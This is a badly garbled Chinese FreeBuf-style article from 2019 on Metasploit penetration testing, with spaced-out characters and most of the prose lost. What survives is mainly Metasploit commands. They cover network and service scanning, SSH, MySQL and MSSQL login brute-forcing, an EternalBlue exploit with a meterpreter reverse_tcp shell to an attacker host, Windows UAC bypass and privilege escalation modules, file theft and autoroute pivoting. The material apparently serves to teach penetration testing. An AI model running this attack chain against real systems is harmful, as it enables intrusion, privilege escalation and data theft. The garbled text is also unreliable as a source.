[14469] 2019-08-14_浅谈MSF渗透测试

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2019-08-14_浅谈MSF渗透测试 M S F c m d g a g a   F r e e B u f   2 0 1 9 - 0 8 - 1 4 M S F M S F 4 . 7 M S F 5 . 0 , m s f c o n s o l e P o s t g r e S Q L R E S T f u l W e b 使 M S F
: a u x i l i a r y a u x i l i a r y / s c a n n e r / d i s c o v e r y / a r p _ s w e e p a u x i l i a r y / s c a n c e r / s m b / s m b _ v e r s i o n   4 4 5 a u x i l i a r y / s c a n n e r / p o r t s c a n / s y n     a u x i l i a r y / s c a n n e r / t e l n e t / t e l n e t _ v e r s i o n   t e l e n t a u x i l i a r y / s c a n n e r / r d p / r d p _ s c a n n e r   a u x i l i a r y / s c a n n e r / s s h / s s h _ v e r s i o n   s s h
I P s e t   r h o s t s   i p 线 s e t t h r e a d   线 ( ) r u n 7 2 2 4 4 5 3 3 8 9 n m a p
4 4 5 3 4 4 5 k a l i 便 / u s r / s h a r e / w o r d l i s t s / m e t a s p l o i t / s s h m y s q l s q l O r a c l e v n c t e l n e t a u x i l i a r y / s c a n n e r / m y s q l / m y s q l _ l o g i n a u x i l i a r y / s c a n n e r / m s s q l / m s s q l _ l o g i n a u x i l i a r y / s c a n n e r / s s h / s s h _ l o g i n U s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n S e t   r h o s t s   1 9 2 . 1 6 8 . 2 0 1 . 1 / 2 4   / / S e t   t h r e a d s   3 0       / / 线 R u n   / /
4 4 5 2 0 0 8   R 2 1 9 2 . 1 6 8 . 2 0 5 . 1 5 0 使 M S F w e b s h e l l u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0     / / 使 h o w   o p t i o n s   s e t   r h o s t s   1 9 2 . 1 6 8 . 2 0 5 . 1 / 2 4   / / I P s e t   t h r e a d s   3 0   / / 线 R u n   / / u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e   / / 使 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p     / / P a y l o a d 使 s e s s i o n s e t   r h o s t s   1 9 2 . 1 6 8 . 2 0 5 . 1 5 0     / / s e t   l h o s t   1 9 2 . 1 6 8 . 2 0 5 . 1 4 8       / / p a y l o a d M S F s e t   L P O R T   5 5 5 5                             / /   E x p l o i t                                           / /
s h e l l k a i l i U A C U A C 1 . U A C M i c r o s o f t W i n d o w s   V i s t a W i n d o w s   S e r v e r   2 0 0 8 W i n d o w s U A C W i n d o w s 2 . U A C U A C / g e t s y s t e m U A C e x p l l o i t m e t e r p r t e r m e t e r p r e t e r 1 s y s t e m s e s s i o n b a c k g r o u n d : u s e   e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c     / / 使 W i n d o w s   U A C U A C s h e l l
W i n d o w s U A C 使 W i n d o w s   U A C U A C s h e l l 使 D L L D L L   p a y l o a d   S Y S W O W 6 4 使 x 6 4 C O M C O M h k c u C O M W i n d o w s   U A C D L L D L L p a y l o a d p a y l o a d p a y l o a d m e t e r p r e t e r e x e : c u s t o m p a y l o a E x i t P r o c e s s c m d . e x e c m d . e x e 访 E v e n t v w r W i n d o w s W i n d o w s   U A C U A C s h e l l p a y l o a d p a y l o a d E X E   : : C u s t o m p a y l o a d E x i t P r o c e s s i n c o g n i t o a d d l o c a l g r o u p u s e r m s 1 3 - 0 8 1 m s 1 5 - 0 5 1 m s 1 6 - 0 3 2 M S 1 6 - 0 1 6 M S 1 4 - 0 6 8 m s 1 8 8 1 2 0 w i n 3 2 k _ p r i v e s c 2 0 0 3 2 0 0 8 2 0 1 2 2 0 1 6 s h e l l s e t   s e s s i o n   1     / / 使 s e s s i n o   1 E x p l o i t                 / / u s e   e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ f o d h e l p e r s e t   s e s s i o n 1 E x p l o i t u s e   e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ c o m h i j a c k s e t   s e s s i o n 1 E x p l o i t u s e   e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ e v e n t v w r s e t   s e s s i o n 1 E x p l o i t
广 1 . t x t , 1 . t x t c a t   / / G e t w d   / / D o w n l o a d     / / U p l o a d   / o p t / 1 . t x t  
p a s s . t x t , h e l l o   h a c k ! ! ! ! , M S F d o w n l o a d p a s s . t x t D o w n l o a d     R d e s k t o p         / / 使 r d e s k t o p   - u     - p   , k a l i . I p c o n f i g / i f o n c i g   / / I P a r p   a                   / / r o u t e             / / n e t s t a t   - n a   / /
I P : r u n   g e t _ l o c a l _ s u b n e t s   / / r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 2 0 5 . 1 / 2 4   / / r u n   a u t o r o u t e   - p   / / r u n   a u t o r o u t e   - d   - s   1 7 2 . 2 . 1 7 5 . 0   / / r u n   p o s t / w i n d o w s / g a t h e r / a r p _ s c a n n e r   R H O S T S = 7 . 7 . 7 . 0 / 2 4   / / m e t e r p r e t e r   >   b a c k g r o u n d   / / s e s s i o n s P s     / / K i l l   / / G e t u i d   / / P w d     ( ) S y s i n f o   / / S h u t d o w n     / / ( )
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